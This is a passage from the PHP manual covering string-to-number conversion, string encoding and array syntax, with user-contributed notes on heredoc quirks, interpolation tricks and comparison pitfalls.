As stated above, directly converting an array, object, or resource to a string does not provide any useful information about the value beyond its type. See the functions print_r() and var_dump() for more effective means of inspecting the contents of these types.

Most PHP values can also be converted to strings for permanent storage. This method is called serialization, and is performed by the serialize() function. If the PHP engine was built with WDDX support, PHP values can also be serialized as well-formed XML text.

String conversion to numbers

When a string is evaluated in a numeric context, the resulting value and type are determined as follows.

If the string does not contain any of the characters '.', 'e', or 'E' and the numeric value fits into integer type limits (as defined by PHP_INT_MAX), the string will be evaluated as an integer. In all other cases it will be evaluated as a float.

The value is given by the initial portion of the string. If the string starts with valid numeric data, this will be the value used. Otherwise, the value will be 0 (zero). Valid numeric data is an optional sign, followed by one or more digits (optionally containing a decimal point), followed by an optional exponent. The exponent is an 'e' or 'E' followed by one or more digits.

<?php
$foo = 1 + "10.5";                // $foo is float (11.5)
$foo = 1 + "-1.3e3";              // $foo is float (-1299)
$foo = 1 + "bob-1.3e3";           // $foo is integer (1)
$foo = 1 + "bob3";                // $foo is integer (1)
$foo = 1 + "10 Small Pigs";       // $foo is integer (11)
$foo = 4 + "10.2 Little Piggies"; // $foo is float (14.2)
$foo = "10.0 pigs " + 1;          // $foo is float (11)
$foo = "10.0 pigs " + 1.0;        // $foo is float (11)
?>

For more information on this conversion, see the Unix manual page for strtod(3).

To test any of the examples in this section, cut and paste the examples and insert the following line to see what's going on:

<?php
echo "\$foo==$foo; type is " . gettype ($foo) . "<br />\n";
?>

Do not expect to get the code of one character by converting it to integer, as is done in C. Use the ord() and chr() functions to convert between ASCII codes and characters.

Details of the String Type

The string in PHP is implemented as an array of bytes and an integer indicating the length of the buffer. It has no information about how those bytes translate to characters, leaving that task to the programmer. There are no limitations on the values the string can be composed of; in particular, bytes with value 0 (“NUL bytes”) are allowed anywhere in the string (however, a few functions, said in this manual not to be “binary safe”, may hand off the strings to libraries that ignore data after a NUL byte.)

This nature of the string type explains why there is no separate “byte” type in PHP – strings take this role. Functions that return no textual data – for instance, arbitrary data read from a network socket – will still return strings.

Given that PHP does not dictate a specific encoding for strings, one might wonder how string literals are encoded. For instance, is the string "á" equivalent to "\xE1" (ISO-8859-1), "\xC3\xA1" (UTF-8, C form), "\x61\xCC\x81" (UTF-8, D form) or any other possible representation? The answer is that string will be encoded in whatever fashion it is encoded in the script file. Thus, if the script is written in ISO-8859-1, the string will be encoded in ISO-8859-1 and so on. However, this does not apply if Zend Multibyte is enabled; in that case, the script may be written in an arbitrary encoding (which is explicity declared or is detected) and then converted to a certain internal encoding, which is then the encoding that will be used for the string literals. Note that there are some constraints on the encoding of the script (or on the internal encoding, should Zend Multibyte be enabled) – this almost always means that this encoding should be a compatible superset of ASCII, such as UTF-8 or ISO-8859-1. Note, however, that state-dependent encodings where the same byte values can be used in initial and non-initial shift states may be problematic.

Of course, in order to be useful, functions that operate on text may have to make some assumptions about how the string is encoded. Unfortunately, there is much variation on this matter throughout PHP’s functions:

  • Some functions assume that the string is encoded in some (any) single-byte encoding, but they do not need to interpret those bytes as specific characters. This is case of, for instance, substr(), strpos(), strlen() or strcmp(). Another way to think of these functions is that operate on memory buffers, i.e., they work with bytes and byte offsets.
  • Other functions are passed the encoding of the string, possibly they also assume a default if no such information is given. This is the case of htmlentities() and the majority of the functions in the mbstring extension.
  • Others use the current locale (see setlocale()), but operate byte-by-byte. This is the case of strcasecmp(), strtoupper() and ucfirst(). This means they can be used only with single-byte encodings, as long as the encoding is matched by the locale. For instance strtoupper("á") may return "Á" if the locale is correctly set and á is encoded with a single byte. If it is encoded in UTF-8, the correct result will not be returned and the resulting string may or may not be returned corrupted, depending on the current locale.
  • Finally, they may just assume the string is using a specific encoding, usually UTF-8. This is the case of most functions in the intl extension and in the PCRE extension (in the last case, only when the u modifier is used). Although this is due to their special purpose, the function utf8_decode() assumes a UTF-8 encoding and the function utf8_encode() assumes an ISO-8859-1 encoding.

Ultimately, this means writing correct programs using Unicode depends on carefully avoiding functions that will not work and that most likely will corrupt the data and using instead the functions that do behave correctly, generally from the intl and mbstring extensions. However, using functions that can handle Unicode encodings is just the beginning. No matter the functions the language provides, it is essential to know the Unicode specification. For instance, a program that assumes there is only uppercase and lowercase is making a wrong assumption.

User Contributed Notes

Anonymous 01-Apr-2014 12:33
$my_int = "12,140";
echo  1 + $my_int ;

Returns 13 not the expected 12141
Ray.Paseur often uses Gmail 08-Mar-2014 10:14
In Example #8, above, consider the risk to the script if a programmer were to define('koolaid1', 'XYZ');  For this reason it's wise to use quotes around literal-string associative array keys.  As written without quotes, PHP should raise a Notice.
benl39 at free dot fr 04-Mar-2014 06:14
Note that :

<?php
echo 'error' == 0, '<br>'; // TRUE
echo 'error' == '0', '<br>'; // FALSE
echo '0' == 0, '<br>'; // TRUE

// So, 'error' != 'error' ?
?>
necrodust44 at gmail dot com 04-Mar-2014 10:52
String conversion to numbers.

Unfortunately, the documentation is not correct.

«The value is given by the initial portion of the string. If the string starts with valid numeric data, this will be the value used. Otherwise, the value will be 0 (zero).»

It is not said and is not shown in examples throughout the documentation that, while converting strings to numbers, leading space characters are ignored, like with the strtod function.

<?php
    echo "     \v\f    \r   1234" + 1;    // 1235
    var_export ("\v\f    \r   1234" == "1234");    // true
?>

However, PHP's behaviour differs even from the strtod's. The documentation says that if the string contains a "e" or "E" character, it will be parsed as a float, and suggests to see the manual for strtod for more information. The manual says

«A hexadecimal number consists of a "0x" or "0X" followed by a nonempty sequence of hexadecimal digits possibly containing a radix character, optionally followed by a binary exponent.  A binary exponent consists of a 'P' or 'p', followed by an optional plus or minus sign, followed by a nonempty sequence of decimal digits, and indicates multiplication by a power of 2.»

But it seems that PHP does not recognise the exponent or the radix character.

<?php
    echo "0xEp4" + 1;     // 15
?>

strtod also uses the current locale to choose the radix character, but PHP ignores the locale, and the radix character is always 2E. However, PHP uses the locale while converting numbers to strings.

With strtod, the current locale is also used to choose the space characters, I don't know about PHP.
espertalhao04 at hotmail dot com 10-Dec-2013 07:34
gtisza at gmail dot com

You incorrectly stated that thee documentation doesn't refer anything about the semicolon at the end of the heredocs and nowdocs  being interpreted as a "real" semicolon.

If you read carefully, you will notice this, in the 1st sentence of the warning about heredocs:

"It is very important to note that the line with the closing identifier must contain no other characters, except a semicolon (;)."

Interesting...
It is refering about semicolons...

But wait, there is more:

http://php.net/manual/en/language.basic-syntax.instruction-separation.php
1st sentence says:
"As in C or Perl, PHP requires instructions to be terminated with a semicolon at the end of each statement."

So, here says that semicolons are statement separators, basicly...

So, if you put a "real" semicolon at the end of these examples:
<?php
    $a=5;
    $foo="String";
    $bar=array();
    $yep=null;
    $other=func();
?>
Why shouldn't you put at the end of heredocs and nowdocs?
After all, a heredoc or a nowdoc is simply a string.

You should read more carefully the documentation first before saying any comment.

About serious questions:
I didn't read all comments here, but you can run functions inside strings and heredocs.

And you can even nest them inside {}

Example:
<?php
    $f=function($x){$a=func_get_args();unset($a[0]);return call_user_func_array($x,$a);};
    $d=0;
    echo $b=<<<NUMBERS
4.0909 rounded is: {$f('round',4.0909,$d)}
Time now is: {$f('time')}
Nested heredocs/nowdocs: {$f('sprintf',<<<OTHER
Here is an %s of nested %s
OTHER
,"Example",<<<'NOW'
heredocs and nowdocs
NOW
)}
NUMBERS;

/*echoes (time is system and real time relative):
4.0909 rounded is: 4
Time now is: 1386670912
Nested heredocs/nowdocs: Here is an Example of nested heredocs and nowdocs
*/
?>

It's not pretty, and is hard to read, but sometimes it is useful to confuse curious people (like minifying the code).

Warning: if any function that runs inside a string or heredoc gives a fatal error, the script MAY continue!
php at richardneill dot org 01-Mar-2013 03:20
Leading zeroes in strings are (least-surprise) not treated as octal.
Consider:
  $x = "0123"  + 0;
  $y = 0123 + 0;
  echo "x is $x, y is $y";    //prints  "x is 123, y is 83"
in other words:
 * leading zeros in numeric literals in the source-code are interpreted as "octal", c.f. strtol().
 * leading zeros in strings (eg user-submitted data), when cast (implicitly or explicitly) to integer are ignored, and considered as decimal, c.f. strtod().
mcamiano at ncsu dot edu 05-Oct-2012 11:43
Regarding the lack of complex expression interpolation, just assign an identity function to a variable and call it:

function id($arg) { return $arg; }

$expr = id;

echo "Field is: {$expr( "1 ". ucfirst('whatzit')) }";

It is slower due to an additional function call, but it does avoid the assignment of a one-shot temporary variable. When there are a lot of very simple value transformations made just for display purposes, it can de-clutter code.
Denis R. 10-Jun-2012 08:01
Hi.

I noticed that the documentation does not mention that when you have an XML element which contains a dash (-) in its name can only be accessed using the bracelets notation.
For example:
<xml version="1">
<root>
   <element-one>value4element-one</element-one>
</root>

to access the above 'element-one' using SimpleXML you need to use the following:

$simpleXMLObj->root->{'element-one'}

to retrieve the value.

Hope this helps,
Denis R.
m021 at springtimesoftware dot com 01-Apr-2012 11:00
Heredoc literals delete any trailing space (tabs and blanks) on each line. This is unexpected, since quoted strings do not do this. This is probably done for historical reasons, so would not be considered a bug.
gtisza at gmail dot com 10-Jan-2012 03:32
The documentation does not mention, but a closing semicolon at the end of the heredoc is actually interpreted as a real semicolon, and as such, sometimes leads to syntax errors.

This works:

<?php
$foo = <<<END
abcd
END;
?>

This does not:

<?php
foo(<<<END
abcd
END;
);
// syntax error, unexpected ';'
?>

Without semicolon, it works fine:

<?php
foo(<<<END
abcd
END
);
?>
sgbeal at googlemail dot com 12-Aug-2011 01:44
The docs say: "Heredoc text behaves just like a double-quoted string, without the double quotes" but there is a notable hidden exception to that rule: the final newline in the string (the one before closing heredoc token) is elided. i.e. if you have:

$foo = <<<EOF
a
b
c
EOF;

the result is equivalent to "a\nb\nc", NOT "a\nb\nc\n" like the docs imply.
Michael 09-May-2011 02:56
Just want to mention that if you want a literal { around a variable within a string, for example if you want your output to be something like the following:

{hello, world}

and all that you put inside the {} is a variable, you can do a double {{}}, like this:

$test = 'hello, world';
echo "{{$test}}";
Ultimater at gmail dot com 28-Apr-2011 12:18
If you require a NowDoc but don't have support for them on your server -- since your PHP version is less than PHP 5.3.0 -- and you are in need of a workaround, I'd suggest using PHP's __halt_compiler() which is basically a knock-off of Perl's __DATA__ token if you are familiar with it.

Give this a run to see my suggestion in action:

<?php
//set $nowDoc to a string containing a code snippet for the user to read
$nowDoc = file_get_contents(__FILE__,null,null,__COMPILER_HALT_OFFSET__);
$nowDoc=highlight_string($nowDoc,true);

echo <<<EOF
<!doctype html>
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
<title>NowDoc support for PHP &lt; 5.3.0</title>
<meta name="author" content="Ultimater at gmail dot com" />
<meta name="about-this-page"
content="Note that I built this code explicitly for the
php.net documenation for demonstrative purposes." />
<style type="text/css">
body{text-align:center;}
table.border{background:#e0eaee;margin:1px auto;padding:1px;}
table.border td{padding:5px;border:1px solid #8880ff;text-align:left;
background-color:#eee;}
code ::selection{background:#5f5color:white;}
code ::-moz-selection{background:#5f5;color:white;}
a{color:#33a;text-decoration:none;}
a:hover{color:rgb(3,128,252);}
</style>
</head>
<body>
<h1 style="margin:1px auto;">
<a
href="http://php.net/manual/en/language.types.string.php#example-77">
Example #8 Simple syntax example
</a></h1>
<table class="border"><tr><td>
$nowDoc
</td></tr></table></body></html>
EOF;

__halt_compiler()
//Example code snippet we want displayed on the webpage
//note that the compiler isn't actually stopped until the semicolon
;<?php
$juices = array("apple", "orange", "koolaid1" => "purple");

echo "He drank some $juices[0] juice.".PHP_EOL;
echo "He drank some $juices[1] juice.".PHP_EOL;
echo "He drank some juice made of $juice[0]s.".PHP_EOL; // Won't work
echo "He drank some $juices[koolaid1] juice.".PHP_EOL;

class people {
    public $john = "John Smith";
    public $jane = "Jane Smith";
    public $robert = "Robert Paulsen";

    public $smith = "Smith";
}

$people = new people();

echo "$people->john drank some $juices[0] juice.".PHP_EOL;
echo "$people->john then said hello to $people->jane.".PHP_EOL;
echo "$people->john's wife greeted $people->robert.".PHP_EOL;
echo "$people->robert greeted the two $people->smiths."; // Won't work
?>
dee jay simple 0 0 7 at ge mahl dot com 01-Mar-2011 09:15
I recently discovered the joys of using heredoc with sprintf and positions. Useful if you want some code to iterate, you can repeat placeholders.

<?php

function getNumber($num = 0) {
    $foo = rand(1,20);
    return ($foo + $num);
}
function getString() {
    $foo = array("California","Oregon","Washington");
    shuffle($foo);
    return $foo[0];
}
function getDiv() {
    $num = getNumber();
    $div = sprintf( "<div>%s</div>", getNumber(rand(-5,5)) );
    return $div;
}
$string = <<<THESTRING
I like the state of %1\$s <br />
I picked: %2\$d as a number, <br />
I also picked %2\$d as a number again <br />
%3\$s<br />
%3\$s<br />
%3\$s<br />
%3\$s<br />
%3\$s<br />
THESTRING;

$returnText = sprintf(  $string, getString(),getNumber(),getDiv()  );

echo $returnText;

?>

Expected output of the above code:

I like the state of Oregon
I picked: 15 as a number,
I also picked 15 as a number again
5

5

5

5

5
saamde at gmail dot com 28-May-2010 12:40
Watch out for the "unexpected T_SL" error.  This appears to occur when there is white space just after "<<<EOT" and since it's white space it's real hard to spot the error in your code.
&#34;Sascha Ziemann&#34; 17-Dec-2009 10:58
Empty strings seem to be no real strings, because they behave different to strings containing data. Here is an example.

It is possible to change a character at a specific position using the square bracket notation:
<?php
$str = '0';
$str[0] = 'a';
echo $str."\n"; // => 'a'
?>

It is also possible to change a character with does not exist, if the index is "behind" the end of the string:
<?php
$str = '0';
$str[1] = 'a';
echo $str."\n"; // => 0a
?>

But if you do that on an empty string, the string gets silently converted into an array:
<?php
$str = '';
$str[0] = 'a';
echo $str."\n"; // => Array
?>
shd at earthling dot net 20-Oct-2009 11:54
If you want a parsed variable surrounded by curly braces, just double the curly braces:

<?php
  $foo = "bar";
  echo "{{$foo}}";
?>

will just show {bar}. The { is special only if followed by the $ sign and matches one }. In this case, that applies only to the inner braces. The outer ones are not escaped and pass through directly.
deminy at deminy dot net 17-Sep-2009 06:08
Although current documentation says 'A string literal can be specified in four different ways: ...', actually there is a fifth way to specify a (binary) string:

<?php $binary = b'This is a binary string'; ?>

The above statement declares a binary string using the 'b' prefix, which is available since PHP 5.2.1. However, it will only have effect as of PHP 6.0.0, as noted on http://www.php.net/manual/en/function.is-binary.php .
Liesbeth 03-Sep-2009 10:54
If you need to emulate a nowdoc in PHP < 5.3, try using HTML mode and output capturing. This way '$' or '\n' in your string won't be a problem anymore (but unfortunately, '<?' will be).

<?php

// Start of script

ob_start(); ?>
  A text with 'quotes'
    and $$$dollars$$$.
<?php $input = ob_get_contents(); ob_end_clean();

// Do what you want with $input
echo "<pre>" . $input . "</pre>";

?>
headden at karelia dot ru 20-Jun-2009 09:43
Here is an easy hack to allow double-quoted strings and heredocs to contain arbitrary expressions in curly braces syntax, including constants and other function calls:

<?php

// Hack declaration
function _expr($v) { return $v; }
$_expr = '_expr';

// Our playground
define('qwe', 'asd');
define('zxc', 5);

$a=3;
$b=4;

function c($a, $b) { return $a+$b; }

// Usage
echo "pre {$_expr(1+2)} post\n"; // outputs 'pre 3 post'
echo "pre {$_expr(qwe)} post\n"; // outputs 'pre asd post'
echo "pre {$_expr(c($a, $b)+zxc*2)} post\n"; // outputs 'pre 17 post'

// General syntax is {$_expr(...)}
?>
cvolny at gmail dot com 03-Dec-2008 08:43
I commented on a php bug feature request for a string expansion function and figured I should post somewhere it might be useful:

using regex, pretty straightforward:
<?php
function stringExpand($subject, array $vars) {
    // loop over $vars map
    foreach ($vars as $name => $value) {
        // use preg_replace to match ${`$name`} or $`$name`
        $subject = preg_replace(sprintf('/\$\{?%s\}?/', $name), $value,
$subject);
    }
    // return variable expanded string
    return $subject;
}
?>

using eval() and not limiting access to only certain variables (entire current symbol table including [super]globals):

<?php
function stringExpandDangerous($subject, array $vars = array(), $random = true) {

        // extract $vars into current symbol table
        extract($vars);

        $delim;
        // if requested to be random (default), generate delim, otherwise use predefined (trivially faster)
        if ($random)
            $delim = '___' . chr(mt_rand(65,90)) . chr(mt_rand(65,90)) . chr(mt_rand(65,90)) . chr(mt_rand(65,90)) . chr(mt_rand(65,90)) . '___';
        else
            $delim = '__ASDFZXCV1324ZXCV__';  // button mashing...

        // built the eval code
        $statement = "return <<<$delim\n\n" . $subject . "\n$delim;\n";

        // execute statement, saving output to $result variable
        $result = eval($statement);

        // if eval() returned FALSE, throw a custom exception
        if ($result === false)
            throw new EvalException($statement);

        // return variable expanded string
        return $result;
    }
?>

I hope that helps someone, but I do caution against using the eval() route even if it is tempting.  I don't know if there's ever a truely safe way to use eval() on the web, I'd rather not use it.
Obeliks 16-Nov-2008 05:21
Expectedly <?php $string[$x] ?> and <?php substr($string, $x, 1) ?> will yield the same result... normally!

However, when you turn on the  Function Overloading Feature (http://php.net/manual/en/mbstring.overload.php), this might not be true!

If you use this Overloading Feature with 3rd party software, you should check for usage of the String access operator, otherwise you might be in for some nasty surprises.
Salil Kothadia 15-Oct-2008 10:33
An interesting finding about Heredoc "syntax error, unexpected $end".
I got this error because I did not use the php close tag "?>" and I had no code after the heredoc code.

foo1.php code gives "syntax error, unexpected $end".
But in foo2.php and foo3.php, when you add a php close tag or when you have some more code after heredoc it works fine.

Example Code:
foo1.php
1. <?php
2. $str = <<<EOD
3. Example of string
4. spanning multiple lines
5. using heredoc syntax.
6. EOD;
7.

foo2.php
1. <?php
2. $str = <<<EOD
3. Example of string
4. spanning multiple lines
5. using heredoc syntax.
6. EOD;
7.
8. echo $str;
9.

foo3.php
1. <?php
2. $str = <<<EOD
3. Example of string
4. spanning multiple lines
5. using heredoc syntax.
6. EOD;
7. ?>
steve at mrclay dot org 30-Sep-2008 10:33
Simple function to create human-readably escaped double-quoted strings for use in source code or when debugging strings with newlines/tabs/etc.

<?php
function doubleQuote($str) {
    $ret = '"';
    for ($i = 0, $l = strlen($str); $i < $l; ++$i) {
        $o = ord($str[$i]);
        if ($o < 31 || $o > 126) {
            switch ($o) {
                case 9: $ret .= '\t'; break;
                case 10: $ret .= '\n'; break;
                case 11: $ret .= '\v'; break;
                case 12: $ret .= '\f'; break;
                case 13: $ret .= '\r'; break;
                default: $ret .= '\x' . str_pad(dechex($o), 2, '0', STR_PAD_LEFT);
            }
        } else {
            switch ($o) {
                case 36: $ret .= '\$'; break;
                case 34: $ret .= '\"'; break;
                case 92: $ret .= '\\\\'; break;
                default: $ret .= $str[$i];
            }
        }
    }
    return $ret . '"';
}
?>
chAlx at findme dot if dot u dot need 11-Sep-2008 05:42
To save Your mind don't read previous comments about dates  ;)

When both strings can be converted to the numerics (in ("$a" > "$b") test) then resulted numerics are used, else FULL strings are compared char-by-char:

<?php
var_dump('1.22' > '01.23'); // bool(false)
var_dump('1.22.00' > '01.23.00'); // bool(true)
var_dump('1-22-00' > '01-23-00'); // bool(true)
var_dump((float)'1.22.00' > (float)'01.23.00'); // bool(false)
?>
harmor 02-Sep-2008 12:05
So you want to get the last character of a string using "String access and modification by character"?  Well negative indexes are not allowed so $str[-1] will return an empty string.

<?php
//Tested using: PHP 5.2.5

$str = 'This is a test.';

$last = $str[-1];                  //string(0) ""
$realLast = $str[strlen($str)-1];  //string(1) "."
$substr = substr($str,-1);         //string(1) "."

echo '<pre>';
var_dump($last);
var_dump($realLast);
var_dump($substr);
Evan K 28-Feb-2008 10:03
I encountered the odd situation of having a string containing unexpanded escape sequences that I wanted to expand, but also contained dollar signs that would be interpolated as variables.  "$5.25\n", for example, where I want to convert \n to a newline, but don't want attempted interpolation of $5.

Some muddling through docs and many obscenties later, I produced the following, which expands escape sequences in an existing string with NO interpolation.

<?php

// where we do all our magic
function expand_escape($string) {
    return preg_replace_callback(
        '/\\\([nrtvf]|[0-7]{1,3}|[0-9A-Fa-f]{1,2})?/',
        create_function(
            '$matches',
            'return ($matches[0] == "\\\\") ? "" : eval( sprintf(\'return "%s";\', $matches[0]) );'
        ),
        $string
    );
}

// a string to test, and show the before and after
$before = 'Quantity:\t500\nPrice:\t$5.25 each';
$after = expand_escape($before);
var_dump($before, $after);

/* Outputs:
string(34) "Quantity:\t500\nPrice:\t$5.25 each"
string(31) "Quantity:    500
Price:    $5.25 each"
*/

?>
rkfranklin+php at gmail dot com 26-Sep-2007 09:35
If you want to use a variable in an array index within a double quoted string you have to realize that when you put the curly braces around the array, everything inside the curly braces gets evaluated as if it were outside a string.  Here are some examples:

<?php
$i = 0;
$myArray[Person0] = Bob;
$myArray[Person1] = George;

// prints Bob (the ++ is used to emphasize that the expression inside the {} is really being evaluated.)
echo "{$myArray['Person'.$i++]}<br>";

// these print George
echo "{$myArray['Person'.$i]}<br>";
echo "{$myArray["Person{$i}"]}<br>";

// These don't work
echo "{$myArray['Person$i']}<br>";
echo "{$myArray['Person'$i]}<br>";

// These both throw fatal errors
// echo "$myArray[Person$i]<br>";
//echo "$myArray[Person{$i}]<br>";
?>
Richard Neill 01-Jun-2007 05:31
Unlike bash, we can't do
  echo "\a"       #beep!

Of course, that would be rather meaningless for PHP/web, but it's useful for PHP-CLI. The solution is simple:  echo "\x07"
og at gams dot at 26-Apr-2007 02:06
easy transparent solution for using constants in the heredoc format:
DEFINE('TEST','TEST STRING');

$const = get_defined_constants();

echo <<<END
{$const['TEST']}
END;

Result:
TEST STRING
penda ekoka 24-Apr-2007 07:14
error control operator (@) with heredoc syntax:

the error control operator is pretty handy for supressing minimal errors or omissions. For example an email form that request some basic non mandatory information to your users. Some may complete the form, other may not. Lets say you don't want to tweak PHP for error levels and you just wish to create some basic template that will be emailed to the admin with the user information submitted. You manage to collect the user input in an array called $form:

<?php
// creating your mailer
$mailer = new SomeMailerLib();
$mailer->from = ' System <mail@yourwebsite.com>';
$mailer->to = 'admin@yourwebsite.com';
$mailer->subject = 'New user request';
// you put the error control operator before the heredoc operator to suppress notices and warnings about unset indices like this
$mailer->body = @<<<FORM
Firstname = {$form['firstname']}
Lastname = {$form['lastname']}
Email = {$form['email']}
Telephone = {$form['telephone']}
Address = {$form['address']}
FORM;

?>
bryant at zionprogramming dot com 27-Feb-2007 09:16
As of (at least) PHP 5.2, you can no longer convert an object to a string unless it has a __toString method. Converting an object without this method now gives the error:

PHP Catchable fatal error:  Object of class <classname> could not be converted to string in <file> on line <line>

Try this code to get the same results as before:

<?php

if (!is_object($value) || method_exists($value, '__toString')) {
    $string = (string)$value;
} else {
    $string = 'Object';
}

?>
fmouse at fmp dot com 21-Feb-2007 07:20
It may be obvious to some, but it's convenient to note that variables _will_ be expanded inside of single quotes if these occur inside of a double-quoted string.  This can be handy in constructing exec calls with complex data to be passed to other programs.  e.g.:

$foo = "green";
echo "the grass is $foo";
the grass is green

echo 'the grass is $foo';
the grass is $foo

echo "the grass is '$foo'";
the grass is 'green'
bishop 28-Mar-2006 09:58
You may use heredoc syntax to comment out large blocks of code, as follows:
<?php
<<<_EOC
    // end-of-line comment will be masked... so will regular PHP:
    echo ($test == 'foo' ? 'bar' : 'baz');
    /* c-style comment will be masked, as will other heredocs (not using the same marker) */
    echo <<<EOHTML
This is text you'll never see!
EOHTML;
    function defintion($params) {
        echo 'foo';
    }
    class definition extends nothing     {
       function definition($param) {
          echo 'do nothing';
       }
    }

    how about syntax errors?; = gone, I bet.
_EOC;
?>

Useful for debugging when C-style just won't do.  Also useful if you wish to embed Perl-like Plain Old Documentation; extraction between POD markers is left as an exercise for the reader.

Note there is a performance penalty for this method, as PHP must still parse and variable substitute the string.
webmaster at rephunter dot net 30-Nov-2005 05:57
Use caution when you need white space at the end of a heredoc. Not only is the mandatory final newline before the terminating symbol stripped, but an immediately preceding newline or space character is also stripped.

For example, in the following, the final space character (indicated by \s -- that is, the "\s" is not literally in the text, but is only used to indicate the space character) is stripped:

$string = <<<EOT
this is a string with a terminating space\s
EOT;

In the following, there will only be a single newline at the end of the string, even though two are shown in the text:

$string = <<<EOT
this is a string that must be
followed by a single newline

EOT;
DELETETHIS dot php at dfackrell dot mailshell dot com 01-Nov-2005 05:05
Just some quick observations on variable interpolation:

Because PHP looks for {? to start a complex variable expression in a double-quoted string, you can call object methods, but not class methods or unbound functions.

This works:

<?php
class a {
    function b() {
        return "World";
    }
}
$c = new a;
echo "Hello {$c->b()}.\n"
?>

While this does not:

<?php
function b() {
    return "World";
}
echo "Hello {b()}\n";
?>

Also, it appears that you can almost without limitation perform other processing within the argument list, but not outside it.  For example:

<?
$true = true;
define("HW", "Hello World");
echo "{$true && HW}";
?>

gives: Parse error: parse error, unexpected T_BOOLEAN_AND, expecting '}' in - on line 3

There may still be some way to kludge the syntax to allow constants and unbound function calls inside a double-quoted string, but it isn't readily apparent to me at the moment, and I'm not sure I'd prefer the workaround over breaking out of the string at this point.
lelon at lelon dot net 27-Oct-2004 09:01
You can use the complex syntax to put the value of both object properties AND object methods inside a string.  For example...
<?php
class Test {
    public $one = 1;
    public function two() {
        return 2;
    }
}
$test = new Test();
echo "foo {$test->one} bar {$test->two()}";
?>
Will output "foo 1 bar 2".

However, you cannot do this for all values in your namespace.  Class constants and static properties/methods will not work because the complex syntax looks for the '$'.
<?php
class Test {
    const ONE = 1;
}
echo "foo {Test::ONE} bar";
?>
This will output "foo {Test::one} bar".  Constants and static properties require you to break up the string.
Jonathan Lozinski 06-Aug-2004 09:03
A note on the heredoc stuff.

If you're editing with VI/VIM and possible other syntax highlighting editors, then using certain words is the way forward.  if you use <<<HTML for example, then the text will be hightlighted for HTML!!

I just found this out and used sed to alter all EOF to HTML.

JAVASCRIPT also works, and possibly others.  The only thing about <<<JAVASCRIPT is that you can't add the <script> tags..,  so use HTML instead, which will correctly highlight all JavaScript too..

You can also use EOHTML, EOSQL, and EOJAVASCRIPT.
www.feisar.de 28-Apr-2004 04:49
watch out when comparing strings that are numbers. this example:

<?php

$x1 = '111111111111111111';
$x2 = '111111111111111112';

echo ($x1 == $x2) ? "true\n" : "false\n";

?>

will output "true", although the strings are different. With large integer-strings, it seems that PHP compares only the integer values, not the strings. Even strval() will not work here.

To be on the safe side, use:

$x1 === $x2
atnak at chejz dot com 12-Apr-2004 12:53
Here is a possible gotcha related to oddness involved with accessing strings by character past the end of the string:

$string = 'a';

var_dump($string[2]);  // string(0) ""
var_dump($string[7]);  // string(0) ""
$string[7] === '';  // TRUE

It appears that anything past the end of the string gives an empty string..  However, when E_NOTICE is on, the above examples will throw the message:

Notice:  Uninitialized string offset:  N in FILE on line LINE

This message cannot be specifically masked with @$string[7], as is possible when $string itself is unset.

isset($string[7]);  // FALSE
$string[7] === NULL;  // FALSE

Even though it seems like a not-NULL value of type string, it is still considered unset.


Arrays

An array in PHP is actually an ordered map. A map is a type that associates values to keys. This type is optimized for several different uses; it can be treated as an array, list (vector), hash table (an implementation of a map), dictionary, collection, stack, queue, and probably more. As array values can be other arrays, trees and multidimensional arrays are also possible.

Explanation of those data structures is beyond the scope of this manual, but at least one example is provided for each of them. For more information, look towards the considerable literature that exists about this broad topic.

Syntax

Specifying with array()

An array can be created using the array() language construct. It takes any number of comma-separated key => value pairs as arguments.

array(
    key  => value,
    key2 => value2,
    key3 => value3,
    ...
)

The comma after the last array element is optional and can be omitted. This is usually done for single-line arrays, i.e. array(1, 2) is preferred over array(1, 2, ). For multi-line arrays on the other hand the trailing comma is commonly used, as it allows easier addition of new elements at the end.

As of PHP 5.4 you can also use the short array syntax, which replaces array() with [].

Example #1 A simple array

<?php
$array = array(
    "foo" => "bar",
    "bar" => "foo",
);

// as of PHP 5.4
$array = [
    "foo" => "bar",
    "bar" => "foo",
];
?>

The key can either be an integer or a string. The value can be of any type.

Additionally the following key casts will occur:

  • Strings containing valid integers will be cast to the integer type. E.g. the key "8" will actually be stored under 8. On the other hand "08" will not be cast, as it isn't a valid decimal integer.
  • Floats are also cast to integers, which means that the fractional part will be truncated. E.g. the key 8.7 will actually be stored under 8.
  • Bools are cast to integers, too, i.e. the key true will actually be stored under 1 and the key false under 0.
  • Null will be cast to the empty string, i.e. the key null will actually be stored under "".
  • Arrays and objects can not be used as keys. Doing so will result in a warning: Illegal offset type.

If multiple elements in the array declaration use the same key, only the last one will be used as all others are overwritten.

Example #2 Type Casting and Overwriting example

<?php
$array = array(
    1    => "a",
    "1"  => "b",
    1.5  => "c",
    true => "d",
);
var_dump($array);
?>

The above example will output:

array(1) {
  [1]=>
  string(1) "d"
}

As all the keys in the above example are cast to 1, the value will be overwritten on every new element and the last assigned value "d" is the only one left over.

PHP arrays can contain integer and string keys at the same time as PHP does not distinguish between indexed and associative arrays.

Example #3 Mixed integer and string keys

<?php
$array = array(
    "foo" => "bar",
    "bar" => "foo",
    100   => -100,
    -100  => 100,
);
var_dump($array);
?>

The above example will output:

array(4) {
  ["foo"]=>
  string(3) "bar"
  ["bar"]=>
  string(3) "foo"
  [100]=>
  int(-100)
  [-100]=>
  int(100)
}

The key is optional. If it is not specified, PHP will use the increment of the largest previously used integer key.

Example #4 Indexed arrays without key

<?php
$array = array("foo", "bar", "hello", "world");
var_dump($array);
?>

The above example will output:

array(4) {
  [0]=>
  string(3) "foo"
  [1]=>
  string(3) "bar"
  [2]=>
  string(5) "hello"
  [3]=>
  string(5) "world"
}

It is possible to specify the key only for some elements and leave it out for others:

Example #5 Keys not on all elements

<?php
$array = array(
         "a",
         "b",
    6 => "c",
         "d",
);
var_dump($array);
?>

The above example will output:

array(4) {
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
  [6]=>
  string(1) "c"
  [7]=>
  string(1) "d"
}

As you can see the last value "d" was assigned the key 7. This is because the largest integer key before that was 6.

Accessing array elements with square bracket syntax

Array elements can be accessed using the array[key] syntax.

Example #6 Accessing array elements

<?php
$array = array(
    "foo" => "bar",
    42    => 24,
    "multi" => array(
         "dimensional" => array(
             "array" => "foo"
         )
    )
);

var_dump($array["foo"]);
var_dump($array[42]);
var_dump($array["multi"]["dimensional"]["array"]);
?>

The above example will output:

string(3) "bar"
int(24)
string(3) "foo"

Note:

Both square brackets and curly braces can be used interchangeably for accessing array elements (e.g. $array[42] and $array{42} will both do the same thing in the example above).

